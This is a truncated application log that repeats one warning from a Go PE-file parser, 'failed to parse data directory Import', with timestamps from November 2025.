level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading 